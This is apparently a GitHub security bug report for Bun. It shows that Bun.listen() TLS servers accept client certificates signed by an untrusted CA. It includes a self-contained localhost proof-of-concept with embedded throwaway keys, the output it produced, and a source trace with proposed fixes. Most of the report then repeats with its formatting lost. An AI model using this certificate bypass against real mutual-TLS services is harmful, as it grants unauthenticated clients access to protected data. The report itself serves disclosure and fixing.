What version of Bun is running?
What platform is your computer?
Microsoft Windows NT 10.0.26200.0 x64
The certs embedded in the PoC below were generated with:
OpenSSL 3.2.4 11 Feb 2025 (Library: OpenSSL 3.2.4 11 Feb 2025)
That only matters for regenerating the fixtures yourself if you want to. The PoC file itself does not call out to openssl, the certs are already embedded as PEM strings, so reproducing the bug does not need OpenSSL installed at all.
What steps can reproduce the bug?
Create a Bun.listen() TLS server with requestCert: true and rejectUnauthorized left unset, so it uses the documented default of true. In the handshake handler, check socket.authorized the same way Bun's own test suite does it, at test/js/bun/net/socket.test.ts:572:
if (!socket.authorized) {
reject(new Error("Socket not authorized"));
}
Connect to it with a client certificate signed by a CA the server never trusted.
final-repro.js embeds a CA, a server cert signed by that CA, and a client cert signed by a completely different rogue CA, all generated once with real openssl, so the file has no external dependencies. It starts a real Bun.listen TLS server and connects to it with node:tls from the same process. Run it with:
PoC
This is the exact, unmodified content of final-repro.js. Save it as-is and run bun final-repro.js.
// bun final-repro.js
//
// Server checks socket.authorized inside the handshake callback, the same
// pattern Bun's own test suite uses at test/js/bun/net/socket.test.ts:572
// ("if (!socket.authorized) reject(...)"). requestCert is on, and
// rejectUnauthorized is left at its documented default (true).
//
// The client presents a certificate signed by a CA the server never
// trusted. Expected: the check catches it and the connection is closed
// before any data is exchanged. Actual: socket.authorized reads true for
// this connection, the check never fires, and the client gets a real
// response.
//
// All certs below were generated once with real openssl and are embedded
// as PEM so this file has no external dependencies. No mocking, no
// simulated sockets: this is a real TCP connection between two real Bun
// processes on 127.0.0.1.
const tls = require("node:tls");
const CA_CRT = `-----BEGIN CERTIFICATE-----
MIIDETCCAfmgAwIBAgIURCg2v+DXlydKS0oySTGIE3z/hy4wDQYJKoZIhvcNAQEL
BQAwGDEWMBQGA1UEAwwNTGVnaXQtVGVzdC1DQTAeFw0yNjA3MDgwNjU2MTRaFw0z
NjA3MDUwNjU2MTRaMBgxFjAUBgNVBAMMDUxlZ2l0LVRlc3QtQ0EwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtvs7EHLwTOT/folLzxbSsCI2BaSC7/AQq
xtLXHd9ZyW942v9XzDahUUqmeLtKQONEb3b0r1aZlQlAgQlGRxPNodbmwg43TFxn
EdrzRrj0++5R+J/PV19+wrHfVVBGEVjC24iN1wz7beqyIr9DiCc8/7FqZZIgMHcd
RJi6tAOToVxyqUZZXYIYAa2VEKRtM6DqepKEyxjqrAgwYh2kyfxFFXETqKwnGnZb
ORD8AMGe6nxvC5GwJvOQAy/k8vwkYENgPfnMuiiWLQeStquswe6ufHRJq7Pu3SCz
j0uswLSNB5QgPm+rAie2Q2FGOcCFTmx2lLXiXAHAxuR7uQ3Mrh33AgMBAAGjUzBR
MB0GA1UdDgQWBBQyNc02kiPUTqWS1JvGP59zZa60PDAfBgNVHSMEGDAWgBQyNc02
kiPUTqWS1JvGP59zZa60PDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQAaf/ZPTCgJez9JkjNnGqTTrZRJf1oB1KKJSefU7lQio+tOMHEwK/6fRk6B
GYTSfXEOTVpRHp1ITTUx8XRc56C/gcEoiQzsrIcxNLEw4c3lvvFFClij3JMASRw4
d6BaoRHbecckClHFB0xLyYGXXM+Nr3AH25mdoiDQ1fyUY44gUFqay88plkZTOHJ7
Bn1c1bSzbCH2Le2jtVW9sntw/5BmR/Wu6fzynXERzVZuBaMjh0SKrlfXJrolMn+j
xDilF8VcHP0B/EhvfVBLQbMbGPtH/vcb7yZHA5LR4FDYe4GUAn1rTocxNNGWR6qI
hfy/JaAe+cCaj/lhbnn3ntyu4Hup
-----END CERTIFICATE-----`;
const SERVER_KEY = `-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDfzMHr8zfqb38y
W4YsFxPg+9atUKeHlgmpdlYHRsDZoP/ytPEVzlaBQdtt01g67SbkY/C+luXHLy7l
vfM2fTlhG86cGs5Wc+bRMSxVo9ev6xxX96dRTRp67JSHU71hEkXV324nDJIM58HO
M0NkK5DJqj4L9Yruu92Fvero0Q7rqLwxclAkmZQVu1TIyRiaAn3kt+d1geOblZJW
Fq0OvyI8Y2oW7w21Ftu184H7CY97T7AfyhyAH5bNGjOBaGrSYQClOlvka/NSVCvw
nZ1yPOgcVc5kHDfkAV7adDfxbizuHqrHdIg15cjxmIdWx5ygm18B4oyrQJePZLk9
hyw19dV5AgMBAAECggEAICajSUlUpBpGdK6PVPAvy+eCDL4Eg0b7tluoujzg4aLu
giiaZd6RsNoMMvfkufpt1uvAnzDAa+AMZbbnJNHSl2/OO8DiGatm4nClBNyX1M76
8GxEnjpsbnJkWBigoTxlyfbiNTvqE26L+hqFOPPFRiNt7Hvm7KsShO8muzGlahc7
w3CLhod0yjDOmXUe0fui4P8EVkESk/yDdRyJ+Kr/CqHa0WwVR6UC0UpBPAylefA0
JVJUkXnX0fRM/5Hy2L9LGolWyHbPD0OO5J4gFikCKFTd98G2n5kBaWJxeIdor3Fb
TV/a9VXtjf+cnQqNk6mnhciTFgd2mJVYjXwg4ymjvQKBgQDxU9726kJMAal16htE
JTqf6xQh369gj0bSgqHurAgJy8k0rvZtoKxM5/wAvnsOUQ4JFGjyisFBlaMXkfHx
gQyAXES1wdzwxWL779h5Cy8yRyrXf2ATFtfVfONr/GA3FlQxGIzXrmMHOIBaf/65
i5J0cn6KNP7WQX1C7fYo3G7TKwKBgQDtaBONrTjRwRhLFNm1RAP2Uh72ryciP2xt
8B11nielPj+D+sa2HJDGe5q3T3wOFAzmfj9CmTVLTC5nERJmpV9hpVBuC8ixvOq2
PQ0ft86lglE2qnJkcj8uGmGm7KDyea7UUSW6xmflNXW/rY8k/IeeocTWzfV+2V3Y
t+fZk7N36wKBgQDqFLF0DZxK/12xe2gBPJ9V2P8JMGB7p95JeN67lHCjl+DN0lxD
0BLw8iCVVC4mn+aeVgbKJF76T7wHs8/bspI+u8EGEEpP3RZ7S5VNK9UWzsM2jl3R
hlnKwb4S05U8OdNmX+rVlliF+388yWR583EWtKwbQPZjOtjWn90im1aASwKBgQDT
fNmeZmetg8Subf6bWeHltrZaryG/gpyHO1YjBybuL4vJeMc4SC44grgLAMXUjMwJ
MQINxAoT7+OOcUjhJATaKbiCsACzRUYZ3j0oukdebb8HYcPR82yRF3NSjo26M+go
v7lKr6CyMXOZs3VHT6dJC3ccnBFMVTsi6oGh88/2zQKBgBQPAsMBGjALPiGrNZwW
CFDYMBz5VKZ8J6GVH7vwn4KQZd4jw/VOLF/NfX+ijn3KniBmIzpakRbCc2DSx9jw
8cNB7ZDonWPCu3bPWAQvfdEZPgt1KEz9u5ylEXYP7PZNJR+Qs3BnJUzE7UJq1WcX
BF2nr2uDK3QfASTFcqKlZmZN
-----END PRIVATE KEY-----`;
const SERVER_CRT = `-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIUJ8/XSQwF1luGKteqE6Hljj5MVM4wDQYJKoZIhvcNAQEL
BQAwGDEWMBQGA1UEAwwNTGVnaXQtVGVzdC1DQTAeFw0yNjA3MDgwNjU2MTVaFw0z
NjA3MDUwNjU2MTVaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBAN/MwevzN+pvfzJbhiwXE+D71q1Qp4eWCal2VgdG
wNmg//K08RXOVoFB223TWDrtJuRj8L6W5ccvLuW98zZ9OWEbzpwazlZz5tExLFWj
16/rHFf3p1FNGnrslIdTvWESRdXfbicMkgznwc4zQ2QrkMmqPgv1iu673YW96ujR
DuuovDFyUCSZlBW7VMjJGJoCfeS353WB45uVklYWrQ6/IjxjahbvDbUW27XzgfsJ
j3tPsB/KHIAfls0aM4FoatJhAKU6W+Rr81JUK/CdnXI86BxVzmQcN+QBXtp0N/Fu
LO4eqsd0iDXlyPGYh1bHnKCbXwHijKtAl49kuT2HLDX11XkCAwEAAaNCMEAwHQYD
VR0OBBYEFNa6d063ZGCj98LvLSL8I4ENeFOcMB8GA1UdIwQYMBaAFDI1zTaSI9RO
pZLUm8Y/n3NlrrQ8MA0GCSqGSIb3DQEBCwUAA4IBAQChmWJZ6m2xZAF0zDJEE9+C
Q5soyhl34/Jxg2cG+jEmoYBlA4/R3TrtCvbq+NnwOlp85nA++jndnBumRu31eDUH
mTVViNhX0r21EsTXWaUckKw8YbQBgeoFQkMiIhpb1rOBU0ZrwOj19e5Up8xzoEzo
VbyJVjjto67oY8pHev1GGWDMQlAgJhz5nOfU+xgtJfZWH6VNgG96GNG18CmjM3EE
HIyPp44YI9gKb+aQ93VH3tzPhIblIEavGz8iRRqZmI2MwYjAvj7c+iY2M8EeNTmA
zdQ+vTy4ZvC4FbTBzY5tkBlPF/TuOMBpPDcnZUHXvSWtsgPBrEd8SM3eODZNhDMw
-----END CERTIFICATE-----`;
const ATTACKER_KEY = `-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCUkAH8c0Z0W+/H
ZB3HYgjJAMTJTM92SLDFkK9DigNYTe1XgTCP1oH5jsirAcAObv7G/sfZBeR0Jifr
ieOou+bH6Vv5BC6VBg+GvFTtQyNFwClxDCpUMtXbL91n57MyYdM3F2QzIENzCKJp
pAYqVgdgpXtfU7dsKp5GfHHpEkPa6GR6zYAlGBX79BUIQNjvwOdTSV1s4rg9N83b
QGgebrzPxTnt6ugsVBVDI29FGCz0fpY5AQ2Ymz1JCljoZstq5iU6/hPY/76CbzHk
3msOsWKzAoTaiiQ3PThtV4rvhwcMowNsHuQPpr2pC9iqICaGvLkJveiVi4/G+zbn
flmDCfsZAgMBAAECggEABcQHB7Sznc15o1vr2fKgk6h/eq6L+LO+hJRmcPEYyyMP
HI/LgjGZjsVvXU+ulADTy4ZU3EPhx245q2cJGmHchZK1epcida8sCBckFqc95bWd
BiGqPOVSLnUPmzo/Vqu8Rk2WmnNcmsjRgNcYVClNlP8nKB54Jm8LAIJQ63JFhufh
4Eztk3j8KXJN371G8o/gKqV3/wIoG9B7wFhNsUl3g6oEf1fRRYntYzDBcYZb1j7E
ZzR8symIXz5l5FTM0hgScxNXW4JVNc7PLQpLKSXbsWZql65zyyoDS+TcwFbonrQD
woN9/veudfWLiSzT6cQF7Nq2AwGDG9NluZQowjdzeQKBgQDPBhdM0rNL5LoZ1Uwl
bK7I7k0u8OwyEXmqcaOuJyGmtA/ld2SmG8pjKRavdcM8CWQUnD0mMNBoUM8uf1Wn
psrExYVyqJPFl477ZwJXYPSHkokxPDqNWnW8BL+lVYIShCFF0YqxTPsUnlX+FSsM
LDuHPDUwNhdffokHcCmnVhDNtQKBgQC3tVkQARA7IEnNGPkpSYR7pK6eDj2SAABo
rRd2uTwyhz+N/2ziD2kkra/jKOD1FbfBRoU1mC5R2M0xe6rqaCzVwAXL1DVZLH8w
auP1Iz5Bgsv1wO32aqm/jPY9jF2HuICwA23zZ/fbzhGlXeqThnG5yqbgwvFVcE1k
qVCJEru2VQKBgAx9f5Zg9/RSPnAkkE2JuxngVsPIQVfb+g0wggGV1s/p+TOM+oOT
FajZ58Z6Qmcy4djkfEP7mfdROM7DW/WbeIxapmx+gzveov/D/T4sWVR8oM5Zpea1
WHkZiD5/ZDOdySwfMlD0Jgnea63CtTAs0wKbvVHFUa+vQLE0MS8pYCYpAoGAWeyb
PApJN6gGeC7RSDSEdUGXeCbgXKdDi/mukp75qIIrygZN9ho1DY83mapY8589443x
htqHUekeCCrQ7w0vZTIppCysMIpnd/vauhQWVVsBG7rkwMpVbT5DCr26ysS1uXL0
T0GFQkMMwDXIrY4R/TAFn9/M4lWmjK+UjIRu/kECgYEAo4lgcaUTtGhxPXE3A8fd
IudOPh7oZzeoEg2YgfCFaSmAO+RJASs5GU8JrhMK09AwB8uOGen6ELMtnZiYRKpK
tha0aOPTR4W4gBGeUN9iXGvSvPVcjoMIYConUr2G7rMLT/c/bbpkiLwyLkYxedqR
mC+O9upMXi0bT4s+yu4UHzk=
-----END PRIVATE KEY-----`;
const ATTACKER_CRT = `-----BEGIN CERTIFICATE-----
MIIC/zCCAeegAwIBAgIUML8e9nqsrHuvFN1/5i1U30fTs6swDQYJKoZIhvcNAQEL
BQAwHDEaMBgGA1UEAwwRUm9ndWUtQXR0YWNrZXItQ0EwHhcNMjYwNzA4MDY1NjE1
WhcNMzYwNzA1MDY1NjE1WjATMREwDwYDVQQDDAhhdHRhY2tlcjCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBAJSQAfxzRnRb78dkHcdiCMkAxMlMz3ZIsMWQ
r0OKA1hN7VeBMI/WgfmOyKsBwA5u/sb+x9kF5HQmJ+uJ46i75sfpW/kELpUGD4a8
VO1DI0XAKXEMKlQy1dsv3WfnszJh0zcXZDMgQ3MIommkBipWB2Cle19Tt2wqnkZ8
cekSQ9roZHrNgCUYFfv0FQhA2O/A51NJXWziuD03zdtAaB5uvM/FOe3q6CxUFUMj
b0UYLPR+ljkBDZibPUkKWOhmy2rmJTr+E9j/voJvMeTeaw6xYrMChNqKJDc9OG1X
iu+HBwyjA2we5A+mvakL2KogJoa8uQm96JWLj8b7Nud+WYMJ+xkCAwEAAaNCMEAw
HQYDVR0OBBYEFLIHghpukEjtpVlMBWpuqqynyeypMB8GA1UdIwQYMBaAFHRJlVcz
2ggsHzqULpfY5tqj6bK4MA0GCSqGSIb3DQEBCwUAA4IBAQA0hTvMyg/la6WHtVqQ
raikcRdfgZPJMqULtxNP8h5HN8G2N1J61Yrqs+hZv8tpsgJ69kSAVq2rlGlpe4XZ
BTj5g8+zEVy+/oP/720EQLXwp8xhB9yn/dKEPTpuQHc0yhNU7L4F/EsfCuBdOY09
UN9EB9KAnNGzKLt5QhZRFz/Ik/Eg9iTLblaHTsyK8XaEncOQGSIP/UyXThJ/xE2g
RL/yKf/oq1zXajZAPCFTlt9OcxZLDS0sHlpybthTuN6rrFQzoIhlGmecp3i6B+oH
H13FrrYXfkdKAdTYPoIw1P2rvMfDcVXf2ELcyN9vjHq6YSoplEam/pXnPVOHRgT5
NMTg
-----END CERTIFICATE-----`;
const server = Bun.listen({
hostname: "127.0.0.1",
port: 0,
tls: {
key: SERVER_KEY,
cert: SERVER_CRT,
ca: CA_CRT,
requestCert: true,
// rejectUnauthorized left unset on purpose: bun.d.ts says the default
// is true, and true means "any certificate is accepted" is NOT the
// behavior, i.e. an unverifiable cert should be rejected.
},
socket: {
open() {},
handshake(socket, success, authorizationError) {
console.log("handshake(): success =", success);
console.log("handshake(): socket.authorized =", socket.authorized);
console.log("handshake(): authorizationError =", authorizationError && authorizationError.message);
if (!socket.authorized) {
console.log("handshake(): socket.authorized was false, closing connection");
socket.end();
} else {
console.log("handshake(): socket.authorized was true, letting the connection through");
}
},
data(socket, data) {
console.log("data(): received", data.length, "bytes from the client, replying");
socket.write("SECRET-DATA-FROM-SERVER\n");
},
close() {},
error(socket, err) {
console.log("error():", err.message);
},
},
});
console.log("server listening on 127.0.0.1:" + server.port);
const client = tls.connect({
host: "127.0.0.1",
port: server.port,
key: ATTACKER_KEY,
cert: ATTACKER_CRT, // signed by "Rogue-Attacker-CA", which CA_CRT never issued and the server never trusted
ca: CA_CRT, // the client trusts the server's real cert, this is only about the client's own cert being rogue
servername: "localhost",
});
let receivedFromServer = "";
client.on("secureConnect", () => {
console.log("client: secureConnect fired, writing a request");
client.write("hello\n");
});
client.on("data", d => {
receivedFromServer += d.toString();
client.end();
});
client.on("error", err => {
console.log("client error:", err.message);
});
client.on("close", () => {
console.log("client: connection closed");
console.log("client received from server:", JSON.stringify(receivedFromServer));
server.stop(true);
process.exit(receivedFromServer.length > 0 ? 1 : 0);
});
setTimeout(() => {
console.log("client: timed out waiting for close, server never sent a response");
server.stop(true);
process.exit(0);
}, 3000).unref();
Output I got, three runs in a row, only the port number changes between runs:
server listening on 127.0.0.1:65230
client: secureConnect fired, writing a request
handshake(): success = true
handshake(): socket.authorized = true
handshake(): authorizationError = unable to verify the first certificate
handshake(): socket.authorized was true, letting the connection through
data(): received 6 bytes from the client, replying
client: connection closed
client received from server: "SECRET-DATA-FROM-SERVER\n"
The last line is the important one. The client presented a certificate signed by a CA that was never passed to the server's ca option, and it still got a response back.
I also ran the same file with the client cert swapped for one signed by the trusted CA, to make sure the harness itself is not just always printing the same thing. That run shows authorizationError = null instead, and the connection also goes through, which is correct for a legitimate client. So the harness does distinguish valid from invalid certificates, it is specifically the invalid case that gets waved through when it should not.
What is the expected behavior?
socket.authorized is documented in packages/bun-types/bun.d.ts lines 5981 to 5985 as:
true if the peer certificate was signed by one of the CAs specified when creating the Socket instance, otherwise false
The same file, lines 6027 to 6030, documents getAuthorizationError() as:
Returns the reason why the peer's certificate was not verified. This is only set when socket.authorized === false
With requestCert: true and rejectUnauthorized at its default, a certificate signed by an untrusted CA should make authorized false, and the connection should not be treated as authenticated.
What do you see instead?
authorized reads true on the server-side socket even though authorizationError is simultaneously non-null, which is the exact combination the getAuthorizationError() doc comment says cannot happen. Nothing in the socket API closes the connection either, so the server ends up shipping application data to a client that never proved its identity.
I traced this to src/runtime/socket/socket_body.rs:1662:
let mut authorized = success == 1;
success here is whether the TLS handshake itself completed, not whether the certificate chain validated. For a server-accepted socket this is the only thing that gets written into the AUTHORIZED flag, the certificate verification result from BoringSSL is never folded in. A few lines down, at line 1665, there is a second check that adjusts authorized for hostname mismatches, but it is gated on !handlers.mode.is_server(), so it only runs for outbound client sockets, not for sockets a server accepts:
if SSL && authorized && !handlers.mode.is_server() {
Going one level down, packages/bun-usockets/src/crypto/openssl.c:865:
static int us_verify_callback(int preverify_ok, X509_STORE_CTX *ctx) {
/* Always continue; the user inspects via us_socket_verify_error after
* on_handshake. See SSL_verify_cb docs — returning 1 lets us defer the
* decision to JS without aborting mid-handshake. */
return 1;
}
This callback always tells BoringSSL to continue the handshake regardless of whether the certificate verified, on both client and server sockets. The idea is that whoever is above this layer in JS is supposed to look at the real verify result afterward and decide whether to keep the connection. node:net does that: in src/js/node/net.ts, ServerHandlers.handshake reads the verify error and calls destroy() when rejectUnauthorized is set. Bun.serve does it too: in packages/bun-uws/src/HttpContext.h, onHandshake closes the socket natively when rejectUnauthorized is set and the verify result is not OK. Bun.listen() has neither of those. Its socket_body.rs handshake dispatch just forwards success and the verify error to the user's handshake callback and moves on, so requestCert plus rejectUnauthorized on Bun.listen only ever rejects a client that sends no certificate at all, never one that sends a certificate signed by the wrong CA.
I checked docs/runtime/networking/tcp.mdx, Bun's own docs page for Bun.listen and TLS, and it does not mention requestCert, rejectUnauthorized, or authorized at all, so there is nothing telling a developer this is expected.
I am aware of two related things already in this repository. Issue #27985 reports the same class of problem on Bun.serve, and when I stress tested Bun.serve with 20 fresh connections using a rogue-CA client cert on this same canary build, all 20 were rejected, so that side looks fixed even though the issue is still open. Pull request #33630, opened yesterday and still unmerged, fixes us_verify_callback in openssl.c so a server with rejectUnauthorized set fails the handshake natively instead of always returning 1. Since that callback is shared by every server that goes through this code, that PR would probably fix the Bun.listen() bypass too as a side effect, but right now it only touches node:tls, its tests are all in test/js/node/tls/node-tls-cert.test.ts, and it never mentions Bun.listen(). It also does not touch the authorized flag issue, since that is a separate mistake in how socket_body.rs computes the flag, not something the native handshake failing earlier would fix on its own for the rejectUnauthorized: false case, where the handshake is still expected to succeed but authorized should still reflect the certificate outcome.
Additional information
The full contents of final-repro.js are in the PoC section above, copy-pasteable as-is. It is self-contained, generates nothing at runtime, and only needs bun to run.
What I'd suggest
Two separate things need fixing here, not one.
The rejection itself: node:net's ServerHandlers.handshake in src/js/node/net.ts and Bun.serve's onHandshake in packages/bun-uws/src/HttpContext.h both already know how to do this correctly, they read the verify error and close the connection when rejectUnauthorized is set. Bun.listen()'s handshake dispatch in socket_body.rs would need the same check before it lets a server socket go on to receive data. If PR #33630 lands, it may already cover this for Bun.listen() as well, since it changes the shared us_verify_callback in openssl.c rather than a JS-only shim, but as it stands today that PR has no test exercising Bun.listen() at all, so I would not assume it is covered without adding one.
The authorized flag: this one is independent of PR #33630. Even on a server with rejectUnauthorized: false, where letting an unverified client through is the intended behavior, authorized should still say false for a client whose certificate did not verify, the same way net.ts sets self.authorized based on the verify error rather than on handshake success. Right now line 1662 in socket_body.rs only ever looks at success, so this would stay wrong even after the native handshake starts failing closed for the rejectUnauthorized: true case. Whatever fixes the rejection behavior should also make this line take the verify result into account for server sockets, not just success == 1.
What version of Bun is running?
What platform is your computer?
The certs embedded in the PoC below were generated with:
That only matters for regenerating the fixtures yourself if you want to. The PoC file itself does not call out to
openssl, the certs are already embedded as PEM strings, so reproducing the bug does not need OpenSSL installed at all.What steps can reproduce the bug?
Create a
Bun.listen()TLS server withrequestCert: trueandrejectUnauthorizedleft unset, so it uses the documented default oftrue. In thehandshakehandler, checksocket.authorizedthe same way Bun's own test suite does it, attest/js/bun/net/socket.test.ts:572:Connect to it with a client certificate signed by a CA the server never trusted.
final-repro.jsembeds a CA, a server cert signed by that CA, and a client cert signed by a completely different rogue CA, all generated once with realopenssl, so the file has no external dependencies. It starts a realBun.listenTLS server and connects to it withnode:tlsfrom the same process. Run it with:PoC
This is the exact, unmodified content of
final-repro.js. Save it as-is and runbun final-repro.js.Output I got, three runs in a row, only the port number changes between runs:
The last line is the important one. The client presented a certificate signed by a CA that was never passed to the server's
caoption, and it still got a response back.I also ran the same file with the client cert swapped for one signed by the trusted CA, to make sure the harness itself is not just always printing the same thing. That run shows
authorizationError = nullinstead, and the connection also goes through, which is correct for a legitimate client. So the harness does distinguish valid from invalid certificates, it is specifically the invalid case that gets waved through when it should not.What is the expected behavior?
socket.authorizedis documented inpackages/bun-types/bun.d.tslines 5981 to 5985 as:The same file, lines 6027 to 6030, documents
getAuthorizationError()as:With
requestCert: trueandrejectUnauthorizedat its default, a certificate signed by an untrusted CA should makeauthorizedfalse, and the connection should not be treated as authenticated.What do you see instead?
authorizedreadstrueon the server-side socket even thoughauthorizationErroris simultaneously non-null, which is the exact combination thegetAuthorizationError()doc comment says cannot happen. Nothing in the socket API closes the connection either, so the server ends up shipping application data to a client that never proved its identity.I traced this to
src/runtime/socket/socket_body.rs:1662:successhere is whether the TLS handshake itself completed, not whether the certificate chain validated. For a server-accepted socket this is the only thing that gets written into theAUTHORIZEDflag, the certificate verification result from BoringSSL is never folded in. A few lines down, at line 1665, there is a second check that adjustsauthorizedfor hostname mismatches, but it is gated on!handlers.mode.is_server(), so it only runs for outbound client sockets, not for sockets a server accepts:Going one level down,
packages/bun-usockets/src/crypto/openssl.c:865:This callback always tells BoringSSL to continue the handshake regardless of whether the certificate verified, on both client and server sockets. The idea is that whoever is above this layer in JS is supposed to look at the real verify result afterward and decide whether to keep the connection.
node:netdoes that: insrc/js/node/net.ts,ServerHandlers.handshakereads the verify error and callsdestroy()whenrejectUnauthorizedis set.Bun.servedoes it too: inpackages/bun-uws/src/HttpContext.h,onHandshakecloses the socket natively whenrejectUnauthorizedis set and the verify result is not OK.Bun.listen()has neither of those. Itssocket_body.rshandshake dispatch just forwardssuccessand the verify error to the user'shandshakecallback and moves on, sorequestCertplusrejectUnauthorizedonBun.listenonly ever rejects a client that sends no certificate at all, never one that sends a certificate signed by the wrong CA.I checked
docs/runtime/networking/tcp.mdx, Bun's own docs page forBun.listenand TLS, and it does not mentionrequestCert,rejectUnauthorized, orauthorizedat all, so there is nothing telling a developer this is expected.I am aware of two related things already in this repository. Issue #27985 reports the same class of problem on
Bun.serve, and when I stress testedBun.servewith 20 fresh connections using a rogue-CA client cert on this same canary build, all 20 were rejected, so that side looks fixed even though the issue is still open. Pull request #33630, opened yesterday and still unmerged, fixesus_verify_callbackinopenssl.cso a server withrejectUnauthorizedset fails the handshake natively instead of always returning 1. Since that callback is shared by every server that goes through this code, that PR would probably fix theBun.listen()bypass too as a side effect, but right now it only touchesnode:tls, its tests are all intest/js/node/tls/node-tls-cert.test.ts, and it never mentionsBun.listen(). It also does not touch theauthorizedflag issue, since that is a separate mistake in howsocket_body.rscomputes the flag, not something the native handshake failing earlier would fix on its own for therejectUnauthorized: falsecase, where the handshake is still expected to succeed butauthorizedshould still reflect the certificate outcome.Additional information
The full contents of
final-repro.jsare in the PoC section above, copy-pasteable as-is. It is self-contained, generates nothing at runtime, and only needsbunto run.What I'd suggest
Two separate things need fixing here, not one.
The rejection itself:
node:net'sServerHandlers.handshakeinsrc/js/node/net.tsandBun.serve'sonHandshakeinpackages/bun-uws/src/HttpContext.hboth already know how to do this correctly, they read the verify error and close the connection whenrejectUnauthorizedis set.Bun.listen()'s handshake dispatch insocket_body.rswould need the same check before it lets a server socket go on to receive data. If PR #33630 lands, it may already cover this forBun.listen()as well, since it changes the sharedus_verify_callbackinopenssl.crather than a JS-only shim, but as it stands today that PR has no test exercisingBun.listen()at all, so I would not assume it is covered without adding one.The
authorizedflag: this one is independent of PR #33630. Even on a server withrejectUnauthorized: false, where letting an unverified client through is the intended behavior,authorizedshould still sayfalsefor a client whose certificate did not verify, the same waynet.tssetsself.authorizedbased on the verify error rather than on handshake success. Right now line 1662 insocket_body.rsonly ever looks atsuccess, so this would stay wrong even after the native handshake starts failing closed for therejectUnauthorized: truecase. Whatever fixes the rejection behavior should also make this line take the verify result into account for server sockets, not justsuccess == 1.